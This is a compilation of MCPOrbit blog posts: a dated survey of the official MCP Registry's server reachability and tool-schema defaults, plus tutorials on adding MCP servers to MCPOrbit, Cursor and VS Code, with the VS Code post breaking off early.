# MCPOrbit Blog — Full content All published posts on the MCPOrbit blog, in newest-first order, in Markdown. # How many MCP servers are there? URL: https://mcporbit.com/blog/how-many-mcp-servers-are-there Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-05 Category: Field notes Tags: MCP, Registry, Discovery, Publishing, Tool Design, MCP Clients We enumerated the official MCP Registry on 2026-09-05 and probed a random sample live: 26,837 servers listed, 862 of 1,500 answered, 1.9% of required arguments carry a value. The official Model Context Protocol (MCP) Registry listed 26,837 active servers on 2026-09-05, when we enumerated the whole thing. 15,219 of those publish a remote HTTPS endpoint. We picked 1,500 of them at random and tried to connect, and 862 answered. That is the easy half. The harder half is what those 862 servers actually expose once you are talking to them. Between them they publish 13,644 tools. 8,739 of those tools take at least one required argument, and 97.6% of them name no value in the schema that could fill even one. If you write MCP clients, that number decides how much of the work you can do for your user before you have to stop and ask. **What we found** - The official MCP Registry held 26,837 active servers on 2026-09-05: 15,219 publish a remote HTTPS endpoint, 11,228 are package-only, and 390 publish no way to launch them at all. - Of 1,500 randomly sampled remote servers, 862 completed an MCP handshake. 388 of the 638 that did not were behind an authentication wall rather than broken. - Those 862 servers expose 13,644 tools. The median server publishes 7. - Across 12,949 required arguments, 245 carry a value the schema itself names. That is 1.9%. - 97.6% of tools that take a required argument name no value for any of them. - A separate static read of published npm source agrees and lands lower, at 0.7%. ## How we measured the MCP registry Every number here was measured on 2026-09-05 against the official MCP Registry at `version=latest`. There are two strata, measured with two unrelated instruments, both sampled at seed 1671 so the draw is reproducible. - The census is not a sample. We enumerated all 27,146 registry records, deduped by name, and kept the 26,837 that were active. - For servers with a remote endpoint, we opened an MCP handshake over HTTPS and called `tools/list`. That is the entire interaction. No third-party code was executed. - For package-only servers, we fetched the published npm tarball and read it statically: gzip and tar in process, then a TypeScript AST walk that accepts only literal values. `npm install` was never run and nothing was evaluated. - The two random samples are 1,500 of the 15,219 remote records, and 400 of the package-only records that carry an npm identifier. > **Read the date** > > A census rots. This one is dated on purpose: 2026-09-05, official MCP Registry at `version=latest`, random samples at seed 1671. If you are reading this much later, treat the shape as the finding and the counts as a snapshot. ## What do MCP servers publish to connect with? Every registry record has to tell a client how to reach the server. There are two ways to do that: hand over a remote HTTPS endpoint, or name a package the client can launch locally over stdio. A surprising number of records do neither. ```text what the record publishes count share ------------------------------- ------ ------ a remote HTTPS endpoint 15,219 56.7% package only (stdio) 11,228 41.8% nothing, no launch option 390 1.5% ------------------------------- ------ ------ total active records 26,837 100% ``` The 390 at the bottom are worth naming. They are published, listed and searchable, and there is no documented way for any client to start them. A user who finds one has reached a dead end through no fault of their own. There is one more thing a registry cannot tell you, and it shaped this whole survey: no MCP registry publishes tool schemas. Not the official one, not Smithery. Tool schemas exist only behind a live `tools/list` call. That is why answering "what do these servers expose" meant connecting to them rather than reading metadata. ## How many MCP servers can you actually connect to? 57.5%. Of the 1,500 randomly sampled remote servers, 862 completed an MCP handshake and returned a tool list. The other 638 did not, and the reasons matter more than the total does. ```text why it did not answer count share of 1,500 ------------------------------- ----- --------------- auth wall (401, 402, 403) 388 25.9% HTTP error 120 8.0% other transport failure 62 4.1% DNS does not resolve 56 3.7% timeout 9 0.6% JSON-RPC refused the handshake 3 0.2% ------------------------------- ----- --------------- total unreachable 638 42.5% ``` The largest group is not broken. 388 servers are commercial and want an account before they will say anything. Roughly a quarter of the remote registry is a login screen, and for a client that is a first-run experience to design rather than an error to handle. The next three groups are closer to rot. 238 servers between them returned an HTTP error, failed at the transport, or pointed at a hostname that no longer resolves. The 56 dead hostnames are the sharpest case: the record is still listed, still searchable, and the domain is gone. Nothing in the registry marks them. ## What do the reachable MCP servers expose? 862 servers, 13,644 tools. The median server publishes 7 tools and the mean is 15.8, which tells you the distribution has a long tail: a handful of very large servers pull the average well above the middle. The most common band is 4 to 10 tools, where 377 of the 862 sit. At the other end, 39 servers, 4.5%, publish exactly one tool. The number that matters to a client is not how many tools a server has, but how many arguments those tools demand before they will run. ```text required args on a tool tools ----------------------- ------ 0 4,905 1 5,855 2 2,005 3 609 4 171 5 54 6 29 7 9 8 2 9 2 10 1 11 2 ----------------------- ------ total 13,644 ``` 4,905 tools take no required argument at all. A client can call those with an empty object and get a result. The remaining 8,739 need something from the user first, and the rest of this post is about whether the schema gives a client any way to supply it. ## Almost no MCP tool names a value for its own required arguments This is the finding. We counted a required argument as fillable when the tool's own JSON Schema names a value for it. Four keywords can do that: `const`, `default`, an `enum` with exactly one member, and an `examples` array with exactly one element. Any of the four hands a client an unambiguous value. Anything else, including a two-member `enum` or a bare `type`, does not. Across the 8,739 tools that take at least one required argument: ```text tools share ---------------------------------------- ------ ------ FULL: every required argument named 73 0.84% PARTIAL: some named, some not 136 1.6% NONE: not one required argument named 8,530 97.6% ``` Counting arguments instead of tools gives the same answer. Those 8,739 tools carry 12,949 required arguments between them, and 245 have a value named in the schema. That is 1.9%. The 136 PARTIAL tools are the interesting failure, because they look like progress and save nothing. A client only avoids interrupting the user when the required set empties completely. Filling three of a tool's four required arguments still ends in a prompt, and the user still has to understand the whole call to answer it. > **The rarest case** > > Only 11 of the 862 reachable servers, 1.3%, have even one tool whose required arguments are all named in the schema. On 3 of them it is the server's first tool. ## Why the default keyword almost never helps The cause is structural, and it is the most portable sentence in the survey: `default` and `required` are near-disjoint by construction. An argument is required precisely because there is no sensible default for it. So authors put `default` on the optional arguments, which is exactly correct schema design and exactly no help to a client trying to skip a question. Here is the same 245 attributed by keyword, across 44,335 properties in the reachable sample: ```text keyword on properties fills a required arg ------------------------- -------------- --------------------- default 7,300 9 one-element examples 309 97 one-member enum 139 127 const 21 12 ------------------------- -------------- --------------------- total 245 ``` Read the two columns against each other. `default` appears on 7,300 properties and lands on 9 required ones. A single-member `enum` appears on 139 properties and lands on 127. The three rare keywords do 236 of the 245, which is 96% of all the seeding that happens on a required argument anywhere in the sample. That inversion makes sense once you see it. An author who writes a one-member `enum` is describing a constraint, not a convenience, and a constraint on a required argument is the one case where the value is genuinely knowable from the schema alone. ## A second instrument, on the servers a probe cannot see A live probe is blind to 41.8% of the registry. Package-only servers run over stdio on the user's own machine, so there is no endpoint to call and no handshake to open. Measuring them needed a different instrument, and using a different instrument is the point: if two unrelated methods disagree, one of them is wrong. We sampled 400 package-only records with an npm identifier at the same seed, pulled what we could from `registry.npmjs.org`, and read the published source statically. 8 could not be fetched. Of the 392 we did read, 105 yielded a literal tool schema. Those 105 packages carry 1,542 schemas and 1,182 tools with at least one required argument. One of those tools had every required argument named. Across 1,807 required arguments, 13 carried a value. That is 0.7%, lower than the 1.9% the live probe found on remote servers. Two unrelated instruments, no disagreement. ## What this survey did not measure A percentage published without its population is not a measurement. Here is everything this survey could not see, with counts, in the body of the post where it belongs. - 638 of the 1,500 sampled remote servers never answered. 388 of those are behind an authentication wall, so the unmeasured group skews commercial and hosted. - 295 of the 400 sampled npm packages produced no measurement. 219 build their schemas with zod at runtime, so no literal exists in the published source to read. 48 had no `inputSchema` literal, 20 had one that was not a pure literal, and 8 could not be fetched at all. - 390 registry records publish no launch option, so there was nothing to connect to and nothing to download. - Smithery, a second registry carrying more than 11,000 servers, is out of frame entirely. Its listing endpoint publishes no transport, no launch detail and no tool list, so there is no address to probe and no source to read. Those gaps do not point in a neutral direction, and it is worth saying which way they run. The 388 auth-walled servers are commercial products. If they differ from the servers that answered, they carry more required arguments and not fewer: API keys, account identifiers, tenant identifiers. That pushes the true figure below 1.9% rather than above it, so treat 1.9% as a ceiling. The one covariate we can check on measured and unmeasured servers alike shows no hidden split. Records that also publish a package answered 58.4% of the time, and remote-only records answered 57.4%. Whatever separates the reachable from the unreachable, it is not that. ## What this means if you build on MCP ### If you are writing an MCP client - Budget for the auth wall. About a quarter of remote servers in the registry will refuse you before you ever see a tool. Design that as a first-run path, not an error state. - Do not build a feature on schema-supplied values. At 1.9% of required arguments, anything that pre-fills a call from the schema will fire on almost nothing. - Handle the empty case well. 4,905 of 13,644 tools require no arguments, and those are the ones you can run without asking the user anything. - Expect a median of 7 tools and plan for the tail. The mean is 15.8, more than twice the median, so a minority of servers publish far more tools than the typical one. - Check that the endpoint still exists before you blame your own code. 56 of 1,500 sampled hostnames did not resolve, and the registry does not mark them. ### If you are publishing an MCP server - Name a value when you honestly can. A `const` or a one-member `enum` on a required argument is read by clients, and it is rare enough today to be a real difference. - Do not reach for `default` on a required argument. It appears on 7,300 properties in this sample and names a value on 9 required ones. Spend the effort on a clear `description` instead. - Publish a launch option. 390 records publish none, and no client can reach any of them. - Keep the endpoint alive or take the record down. 56 dead hostnames in a 1,500 sample is a lot of dead ends for users to find. ## Frequently asked questions ## Frequently asked questions ### How many MCP servers are there? The official Model Context Protocol Registry listed 26,837 active servers on 2026-09-05, deduped by name from 27,146 records. That covers the official registry only. Smithery lists more than 11,000 further entries, and no complete cross-registry count exists. ### How many MCP servers are actually online? Of 1,500 randomly sampled servers that publish a remote HTTPS endpoint, 862 completed an MCP handshake and returned a tool list, which is 57.5%. Of the 638 that did not, 388 were behind an authentication wall rather than broken, and 56 pointed at a hostname that no longer resolves. ### Do MCP tool schemas tell a client what values to pass? Almost never. Across 12,949 required arguments on live servers, 245 named a value in the schema, which is 1.9%. Put the other way, 97.6% of tools that take a required argument name no value for any of them. ### Why does the default keyword not fill in required MCP tool arguments? Because `default` and `required` are near-disjoint by construction. An argument is required precisely when there is no sensible default, so authors put `default` on optional arguments instead. In this sample `default` appears on 7,300 properties and names a value on 9 required ones. ### How many tools does a typical MCP server expose? The median reachable server publishes 7 tools and the mean is 15.8. The most common band is 4 to 10 tools, covering 377 of 862 servers, and 39 servers publish exactly one tool. ### Can I reproduce this MCP registry survey? Yes. Enumerate the official MCP Registry at `version=latest`, take a random sample at seed 1671, and call `tools/list` against each remote endpoint. The figures here were measured on 2026-09-05 and will move as the registry grows. One note on where this came from. We build [MCPOrbit](/), a desktop app for working with MCP servers, so the question of how much a client can work out on its own is not academic for us. We ran this survey to decide whether a feature was worth building. The answer was no, and the data was too useful to leave in a ticket. [Download MCPOrbit for macOS](/api/download) --- # How to add an MCP server to MCPOrbit URL: https://mcporbit.com/blog/add-an-mcp-server-to-mcporbit Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-04 Updated: 2026-09-06 Category: Tutorial Tags: MCP, MCPOrbit, MCP Clients, Developer Tools, Tutorial MCPOrbit has no config file to edit. Add a server in one form: a Name, a Type, then the program and its arguments in two fields, or a URL. No restarts. To add an MCP server to MCPOrbit, open the app and fill in one short form: a Name, a Type, then the program and its arguments for a local server, or a URL for a remote one. There is no config file to edit and nothing to restart. Save the form, press `Connect`, and the server's tools appear. This is the part that works differently from every other client. Claude Desktop, Cursor, and VS Code each want you to find a JSON file on disk, get its top-level key right, and fully quit the app afterwards. MCPOrbit keeps the connection list itself, so the setup is a form and starting the server is one press. One detail is worth knowing before you start. A README gives you the invocation as one line, but MCPOrbit takes it in two fields. `Command` is the program on its own, and `Arguments` is everything after it. You do the split, not the app. - There are two ways in: the first-run wizard, and the `Add Connection` button in the sidebar. The Server Browser is for reading about servers, not adding them. - The save button stays off until the form has a Name. It does not check that there is a command or a URL behind it, so an unfinished connection can still be saved. - `Command` takes the program by itself. Its arguments go in a separate `Arguments` field, which is split on spaces, and quotes are not honoured there. - The first-run wizard is four screens, and its connection form has no Arguments field, so a server that needs arguments has to be added from the sidebar form instead. - Nothing needs a restart. Saving puts the server in the sidebar, and pressing `Connect` starts it. ## Where does MCPOrbit keep its server config? It does not have one you edit. The other three clients hand you a file path and expect you to keep the JSON valid by hand. MCPOrbit writes your connections to its own data file, `mcporbit-data.json`, in the application's data directory, and reads them back on launch. You never open it. That removes two of the three ways this usually fails. A trailing comma cannot break your server list, and there is no top-level key to get wrong. What is left is the server itself, which is the part actually worth your attention. ## How do I add my first server in the setup wizard? On first launch MCPOrbit walks you through four screens: a welcome, a theme picker, a form headed `Add your first connection`, and a short confirmation. The middle two have a `Back` button, so you can change your mind on the way through. The form asks for a Name and a Type. Type is three buttons: `STDIO`, `HTTP`, and `SSE`. `STDIO` is the one for a server that runs on your own machine, and it is already selected. Then it gets narrow. A `STDIO` server gets a single field here, labelled `Command`, and there is no `Arguments` field on this screen. So the wizard can only finish a server whose whole invocation is one bare program name, and almost no MCP server is that. The official filesystem server is not: ```text Command: npx Arguments: -y @modelcontextprotocol/server-filesystem /Users/you/projects ^ the wizard has nowhere to put this line ``` Name does not fill itself in, so type one. `Add & Continue` stays dim until Name has something in it, and Name is the only thing it checks: a connection with an empty Command can still be saved from here, and it will fail when you try to connect it. `Add & Continue` saves the connection and moves to the last screen. `Skip` moves on without saving anything. For most servers `Skip` is the right button, because the sidebar form on the other side has the Arguments field this screen is missing. Nothing is lost by skipping. > **The two-field rule** > > The program goes in `Command`, and everything after it goes in `Arguments`. MCPOrbit splits `Arguments` on spaces and nothing else, so `-y @modelcontextprotocol/server-filesystem /Users/you/projects` arrives as three arguments. Quotes are not honoured, so a folder with a space in its name cannot be passed this way yet. ## How do I add a server after setup? Press `Add Connection` at the bottom of the sidebar. It opens a fuller version of the same form: the same Name and Type, then a `Command` field, a separate `Arguments (space-separated)` field, and a few more options below them. This is the form that can finish any server. Here are the values for the official filesystem server. It makes a good first server because it needs no setup and no credentials. Note where the line breaks: ```text Name: filesystem Type: STDIO Command: npx Arguments: -y @modelcontextprotocol/server-filesystem /Users/you/projects ``` A local server also gets Environment Variables, which takes a JSON object, and Roots, described in the form as the folders offered to the server. A remote server gets Auth instead, with `None`, `Bearer`, and `API Key`. Environment Variables is where a credential belongs. It takes a plain JSON object, the same shape as the `env` block in a Claude Desktop config: ```json { "GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_your_token_here" } ``` The save button at the bottom of the form behaves like the wizard's, and it is looser than you would expect. It stays off until there is a Name, and that is the whole check. It does not look at Command or URL at all, so a half-finished connection saves quite happily and only fails later, when you press `Connect`. ## What does the Server Browser do? `Server Browser` in the sidebar searches a public registry of MCP servers. Open a result and you get the server's icon, name, and version, a description, a Transport and Auth pair, and links to its repository and website. That is where the panel ends. It is a reading surface, not an install button. Nothing in the detail panel adds the server, and there is no `Add` on it anywhere. Use it to work out whether a server is worth your time, then follow its Repository link to find the command it wants, and type that into `Add Connection` yourself. That repository link is doing more work than it looks like. It is where a server's invocation and the names of the environment variables it expects are actually written down, and registries are often thin on both. Not every registry reports a transport for every server. MCPOrbit prints `Unknown` in that row rather than leaving it blank, which is your signal to read the repository before you guess. ## Should I pick STDIO, HTTP, or SSE? Pick `STDIO` when the server runs on your machine. MCPOrbit starts the process itself and talks to it over standard input and output. There is no port and no authentication to arrange, which is why it suits most development work. Pick `HTTP` when the server already runs somewhere and you reach it over the network. `SSE` is the older remote transport, kept for servers that have not moved off it. Both replace the Command field with a URL field: ```text Name: my-remote Type: HTTP URL: https://mcp.example.com/mcp ``` For a remote server that needs a token, set Auth to `bearer` and paste the token below it. That input is masked, so the value does not sit on screen in plain text. If you are choosing between the two transports for a server you are writing, [stdio versus Streamable HTTP](/blog/mcp-transport-stdio-vs-streamable-http) covers the tradeoff. ## How does MCPOrbit split the arguments? A program and its arguments are two different things to the operating system, and MCPOrbit does not put a shell in between. `Command` goes to the system whole, as the program to run. `Arguments` is cut on spaces, and every piece becomes one argument. Nothing else happens to either field: there is no expansion, no globbing, and no pipes or redirects. Because the cut is on spaces and nothing else, quotes are not honoured. This is the one case worth knowing about, and it bites the most ordinary path on a Mac. ```text Arguments: -y @modelcontextprotocol/server-filesystem "/Users/you/My Projects" arrives as four arguments, not three: -y @modelcontextprotocol/server-filesystem "/Users/you/My Projects" ``` The quote marks are passed through as characters, so the server reads `"/Users/you/My` as the directory and never sees the rest. There is no escape that gets around this in the current release. Point the server at a path with no spaces in it, or make a symlink to one, until the field learns to quote. ## How do I know it actually connected? Saving the form does not connect the server. It puts it in the sidebar with a grey dot next to it. Pick it, and the main panel says `Not connected` with a `Connect` button underneath. Press that. The button reads `Connecting...` while it works. When it succeeds, the panel fills with three tabs, `Tools`, `Resources`, and `Prompts`, and the Tools tab lists what the server published: each tool's name, its description, how many parameters it takes, and a `Copy Schema` button. A populated Tools tab is the signal. The filesystem server publishes fourteen: ```text read_file, read_text_file, read_media_file, read_multiple_files, write_file, edit_file, create_directory, list_directory, list_directory_with_sizes, directory_tree, move_file, search_files, get_file_info, list_allowed_directories ``` If it fails instead, the panel keeps the `Connect` button and puts the reason above it, in a red box, in monospace, exactly as the connection attempt reported it. That box is the debug surface. Read it before you change anything, because it usually names the problem outright. To check that your path arrived intact, run one tool. The filesystem server publishes `list_allowed_directories`, which answers with the directories it was actually given. Open it in the Tools tab and press `Run`. Compare what comes back with what you typed. If the directory in the answer is not the one you meant, the Command line is where to look, and an unquoted space is the usual reason. This is a better check than reading the form back, because it is the server telling you what it received. ## Why isn't my server showing up? Read the red box first. Four causes cover almost all of the rest. - You saved the form and stopped there. Saving does not start a server. Pick it in the sidebar and press `Connect`. - The program is not installed, or is not where MCPOrbit looks for it. The red box usually names it, and `ENOENT` in that message means the program itself was not found. - A path in Arguments has a space in it, so it arrived as two arguments. Quotes will not save you here. Use a path without spaces, or a symlink to one. - The server writes to standard output. On a `STDIO` connection that is the protocol channel, and a stray print can corrupt it. Send logs to stderr instead, which keeps the protocol channel clean and which [how to log from an MCP server](/blog/log-from-an-mcp-server) walks through. > **Related build-it guides** > > No server to connect yet? Build one first, then point MCPOrbit at it. See [build an MCP server in Python](/blog/build-an-mcp-server-in-python), [build an MCP server in TypeScript](/blog/build-an-mcp-server-in-typescript), or [test an MCP server](/blog/test-an-mcp-server) for what to check once it is connected. ## Frequently asked questions ### Where is the MCPOrbit config file? There is not one you edit. MCPOrbit stores connections in its own data file, `mcporbit-data.json`, and manages it for you. That is the main difference from Claude Desktop, Cursor, and VS Code, which all expect you to keep a JSON config valid by hand. ### Do I have to restart MCPOrbit after adding a server? No. There is no restart anywhere in this. Saving puts the server in the sidebar, and you start it by pressing `Connect`. Claude Desktop needs a full quit and reopen after a config change, and closing its window is not enough. This does not. ### What goes in the Command field? The program on its own, and nothing else. For the official filesystem server that is `npx`. Everything after it, `-y @modelcontextprotocol/server-filesystem /Users/you/projects`, goes in the separate `Arguments` field beneath it. Splitting the README line is your job, not the app's. ### Can I add an MCP server without typing a command? Not in the current release. The Server Browser lists servers from a public registry and shows you what it knows about each one, but the detail panel is read-only: there is no button on it that creates a connection. Read the entry, follow its Repository link for the invocation, then type that into `Add Connection`. ### Can I reuse my Claude Desktop config in MCPOrbit? Not as a file, but the values map across cleanly, because the fields are shaped the same. In `claude_desktop_config.json`, `command` goes into Command, the `args` array goes into Arguments joined by spaces, and the `env` object becomes Environment Variables. A `url` entry becomes an HTTP connection. ### Does MCPOrbit run on Windows? Not yet. The current release is a macOS build for Apple Silicon, downloaded from [mcporbit.com](/api/download). Adding a server is the short part. What you do next is call the tools by hand, read the schemas the way a model reads them, and find out whether the server behaves before an agent depends on it. That is the whole reason to have a client you drive yourself. [Download MCPOrbit for macOS](/api/download) --- # How to add an MCP server to Cursor URL: https://mcporbit.com/blog/add-an-mcp-server-to-cursor Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Field notes Tags: MCP, Cursor, stdio, Developer tools, Engineering Cursor loads MCP servers from one mcp.json file. The config is short. The two things that stop it starting are both path problems, and both are fixable. To add a Model Context Protocol (MCP) server to Cursor, put a `mcp.json` file in one of two places: `.cursor/mcp.json` in your project root for a server only that project sees, or `~/.cursor/mcp.json` in your home directory for one every project sees. The file lists your server under a top-level `mcpServers` key with a `command` and an `args` array. Use absolute paths in both. That last sentence is the whole post. Cursor starts your server as a child process, and it does not start it from your project directory or from your shell. So a config that works when you run it by hand can fail inside Cursor, and the error you get says nothing about paths. Both failure modes are reproduced below against a real server, with the exact messages each one produces. - Two config locations: `.cursor/mcp.json` for one project, `~/.cursor/mcp.json` for every project. Same file format. - The top-level key is `mcpServers`. A local server takes `command`, `args`, and optional `env`. A remote server takes `url` instead. - A relative script path fails. Cursor spawns the process from its own working directory, so `args: ["server.js"]` looks for the file somewhere else entirely. - A bare `node` command can fail even though `node` works in your terminal. A desktop app does not inherit the PATH your shell builds. - Verify the server with the MCP Inspector CLI before you wire it into Cursor. It removes the editor from the loop entirely. ## Where does Cursor look for MCP config? Cursor reads two files. A project-scoped `.cursor/mcp.json` in your project root, and a global `~/.cursor/mcp.json` in your home directory. Both use the same format, so you can move an entry between them by copying it across. Project scope is the better default for a server that only makes sense inside one repository, because the config travels with the code and your teammates get it when they clone. > **Sourced from Cursor's docs** > > The config paths, the JSON shape, and the MCP Logs panel described here come from Cursor's own MCP documentation. Cursor was not installed on the machine used to write this post, so the editor UI steps are documented rather than tested. Everything about the server itself, and both failure modes below, was run and captured firsthand. ## A server worth pointing Cursor at Here is a small server that reads your project's `CHANGELOG.md` and returns the most recent entries. It is a useful thing to give an editor, because it lets the model answer questions about what changed recently without you pasting the file in. Three files, no build step. Every block below was copied out of a project that was installed clean and run end to end. Create a directory, then add `package.json`: ```json { "name": "changelog-mcp", "version": "1.0.0", "type": "module", "scripts": { "start": "node server.js", "probe": "node probe.js" }, "dependencies": { "@modelcontextprotocol/client": "2.0.0", "@modelcontextprotocol/server": "2.0.0", "zod": "4.2.1" } } ``` Then `server.js`. Note the two things it does deliberately: it logs with `console.error`, never `console.log`, because on stdio stdout carries the protocol frames. And it resolves `CHANGELOG.md` relative to the module with `import.meta.url`, not relative to the working directory. That second choice is what makes it survive being spawned from somewhere unexpected, which is exactly what Cursor does. ```javascript // server.js import { McpServer } from "@modelcontextprotocol/server"; import { StdioServerTransport } from "@modelcontextprotocol/server/stdio"; import { readFile } from "node:fs/promises"; import { z } from "zod"; const log = (...args) => console.error("[changelog]", ...args); const server = new McpServer({ name: "changelog", version: "1.0.0" }); server.registerTool( "read_changelog", { title: "Read changelog", description: "Read the project CHANGELOG.md and return the most recent entries.", inputSchema: { limit: z .number() .int() .min(1) .max(20) .default(3) .describe("How many of the most recent entries to return."), }, }, async ({ limit }) => { const path = new URL("./CHANGELOG.md", import.meta.url); const text = await readFile(path, "utf8"); const entries = text .split(/^## /m) .slice(1) .map((entry) => "## " + entry.trim()); log(`read_changelog: ${entries.length} entries, returning ${limit}`); return { content: [{ type: "text", text: entries.slice(0, limit).join("\n\n") }], }; }, ); log("starting on stdio"); await server.connect(new StdioServerTransport()); ``` And a `CHANGELOG.md` for it to read. Any file with `##` headings works. This one is the fixture used for every output shown below: ```text # Changelog ## 1.4.0 - 2026-08-20 Added a retry budget to the sync worker. ## 1.3.2 - 2026-08-11 Fixed a crash when the config file was empty. ## 1.3.1 - 2026-07-29 Pinned the transport dependency. ## 1.3.0 - 2026-07-14 First public release. ``` ## Check the server runs before you touch any config Wire a broken server into an editor and you get one signal: it did not work. Check it first and you know which half to blame. The MCP Inspector runs your server the same way a client does, from your terminal, where you can see everything. ```bash npm install npx @modelcontextprotocol/inspector@2.4.0 --cli node server.js \ --method tools/list ``` The `[changelog]` line is the server's own stderr logging. Everything after it is the protocol response: ```text [changelog] starting on stdio { "tools": [ { "name": "read_changelog", "title": "Read changelog", "description": "Read the project CHANGELOG.md and return the most recent entries.", "inputSchema": { "type": "object", "properties": { "limit": { "description": "How many of the most recent entries to return.", "default": 3, "type": "integer", "minimum": 1, "maximum": 20 } }, "$schema": "https://json-schema.org/draft/2020-12/schema" } } ] } ``` Then call the tool for real: ```bash npx @modelcontextprotocol/inspector@2.4.0 --cli node server.js \ --method tools/call \ --tool-name read_changelog \ --tool-arg limit=2 ``` ```text [changelog] starting on stdio [changelog] read_changelog: 4 entries, returning 2 { "content": [ { "type": "text", "text": "## 1.4.0 - 2026-08-20\nAdded a retry budget to the sync worker.\n\n## 1.3.2 - 2026-08-11\nFixed a crash when the config file was empty." } ] } ``` That is a working server. Anything that goes wrong from here is configuration, not code, and that is a much smaller place to look. ## The config file Create `.cursor/mcp.json` in your project root. Replace both paths with real ones from your own machine: ```json { "mcpServers": { "changelog": { "command": "/opt/homebrew/bin/node", "args": ["/Users/you/code/changelog-mcp/server.js"] } } } ``` The key under `mcpServers` is the name you will see in Cursor. `command` is the program to run and `args` are its arguments. If your server needs secrets, add an `env` object beside them, which Cursor passes to the process: ```json { "mcpServers": { "changelog": { "command": "/opt/homebrew/bin/node", "args": ["/Users/you/code/changelog-mcp/server.js"], "env": { "API_KEY": "value" } } } } ``` A server that already runs somewhere over HTTP is configured with `url` instead of `command`, and takes `headers` rather than `env`: ```json { "mcpServers": { "changelog": { "url": "http://localhost:3000/mcp", "headers": { "API_KEY": "value" } } } } ``` Cursor's docs describe enabling a server from the Customize panel in the sidebar, where each server has a toggle. They do not say whether editing `mcp.json` reloads the server automatically or needs a restart. If a change does not seem to take effect, restart Cursor before you start debugging the config. ## Why a relative path fails This is the first of the two path bugs, and it is the more common one. The config looks reasonable: ```json { "mcpServers": { "changelog": { "command": "node", "args": ["server.js"] } } } ``` It works in your terminal because your terminal is already sitting in the project directory. Cursor is not. To reproduce what it does, spawn the same server from a different working directory. The client below is the MCP client SDK with `cwd` set to `/`, which is the same mechanism Cursor uses: ```javascript // probe-cwd.js import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const transport = new StdioClientTransport({ command: "node", args: ["server.js"], cwd: "/", }); const client = new Client({ name: "probe", version: "1.0.0" }); await client.connect(transport); ``` Node resolves `server.js` against the working directory it was given, so it looks for `/server.js` and does not find it. The process exits before it ever speaks the protocol, and the client reports only that the connection closed: ```text Error: Cannot find module '/server.js' at Module._resolveFilename (node:internal/modules/cjs/loader:1475:15) at wrapResolveFilename (node:internal/modules/cjs/loader:1048:27) ... FAILED: SdkError | Connection closed ``` `Connection closed` is all the client knows. The useful line is on the server's stderr, which is why the MCP Logs panel matters. Cursor's docs describe reaching it by opening the Output panel with Cmd+Shift+U and picking MCP Logs from the dropdown. Change `args` to the absolute path and the same spawn connects. > **The file your server reads has the same problem** > > Fixing `args` is not enough if your code opens files by relative path. That is why `server.js` above resolves `CHANGELOG.md` with `new URL("./CHANGELOG.md", import.meta.url)`. Spawned from `/` with an absolute script path, the tool call still returns the right entries, because the path is anchored to the module rather than the working directory. ## Why a bare node command fails The second bug is nastier, because `node` genuinely does work when you type it. Your shell builds its PATH from your profile, and a version manager like nvm or a Homebrew install adds a directory there. A desktop application launched from the dock never runs that profile, so it searches a much shorter PATH. Spawning the server with a minimal PATH reproduces it exactly: ```javascript const transport = new StdioClientTransport({ command: "node", args: ["/Users/you/code/changelog-mcp/server.js"], env: { PATH: "/usr/bin:/bin:/usr/sbin:/sbin" }, }); ``` ```text FAILED: Error | spawn node ENOENT ``` `ENOENT` here does not mean your server is missing. It means the `node` binary is. The fix is to name the binary by its full path, which you can get with `which node`. With an absolute binary and an absolute script, the same spawn connects under that stripped PATH and from a foreign working directory: ```text $ which node /opt/homebrew/bin/node [changelog] starting on stdio CONNECTED. tools: read_changelog ``` That is the same config shown earlier. Both paths absolute, nothing left for the environment to get wrong. ## Frequently asked questions ## Frequently asked questions ### Where is the Cursor MCP config file? There are two. `.cursor/mcp.json` in a project root configures servers for that project only. `~/.cursor/mcp.json` in your home directory configures servers for every project. Both files use the same format, with servers listed under a top-level `mcpServers` key. ### Why is my MCP server not showing up in Cursor? Usually a path problem. Cursor spawns the server from its own working directory, so a relative path in `args` resolves somewhere unexpected and the process exits immediately. It also runs without your shell's PATH, so a bare `node` command can fail with `spawn node ENOENT` even though `node` works in your terminal. Use an absolute path for both the binary and the script. ### Should I use the project or the global Cursor MCP config? Use `.cursor/mcp.json` in the project when the server only makes sense for that codebase, since the config is committed alongside the code. Use `~/.cursor/mcp.json` for general-purpose servers you want in every project. ### How do I see MCP server logs in Cursor? Cursor's docs describe opening the Output panel with Cmd+Shift+U and selecting MCP Logs from the dropdown. Because stdout carries the protocol on a stdio server, your own logging has to go to stderr with `console.error` for it to appear there. ### Can I add a remote MCP server to Cursor? Yes. Instead of `command` and `args`, give the entry a `url` pointing at the server's endpoint, and use a `headers` object rather than `env` for anything it needs to authenticate. ### Do I need to restart Cursor after editing mcp.json? Cursor's documentation does not state whether the file is reloaded automatically. If an edit does not appear to take effect, restart Cursor before assuming the config itself is wrong. Once the server is running, the work moves to what it exposes. Tool descriptions are what the model reads to decide when to call something, and they are worth more attention than the transport ever needs. MCPOrbit shows you every tool a server publishes with its full description and input schema, so you can read them the way the model does before you hand the server to a team. [Download MCPOrbit for macOS](/api/download) --- # How to add an MCP server to VS Code URL: https://mcporbit.com/blog/add-an-mcp-server-to-vs-code Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Tutorial Tags: MCP, VS Code, Developer Tools, Copilot VS Code reads MCP servers from .vscode/mcp.json under a servers key, not mcpServers. Set cwd or your server scans the wrong folder and never says so. To add a Model Context Protocol (MCP) server to VS Code, create `.vscode/mcp.json` in your project and list the server under a top-level `servers` key. Then open Chat, switch to Agent mode, and the tools are there. Two details cause most of the failures, and neither one produces a useful error. VS Code uses `servers` as the top-level key, while Claude Desktop and Cursor use `mcpServers`. Paste a config from either of those and VS Code reads an empty file. The second is `cwd`. If your server touches the filesystem and you leave `cwd` out, it runs in the wrong directory and answers confidently from there. - Config lives at `.vscode/mcp.json` for one project, or the profile file opened by the MCP: Open User Configuration command for every project. - The top-level key is `servers`. Claude Desktop and Cursor use `mcpServers`, and VS Code ignores that spelling. - Set `cwd` to `${workspaceFolder}` for any server that reads files. Without it the server scans its own install directory and returns real, wrong results. - Keep secrets out of the file with an `inputs` entry and a `${input:id}` reference. - Tools only appear in Agent mode. Ask and Edit mode will not call them. ## Where does VS Code look for MCP config? There are two locations. A workspace file at 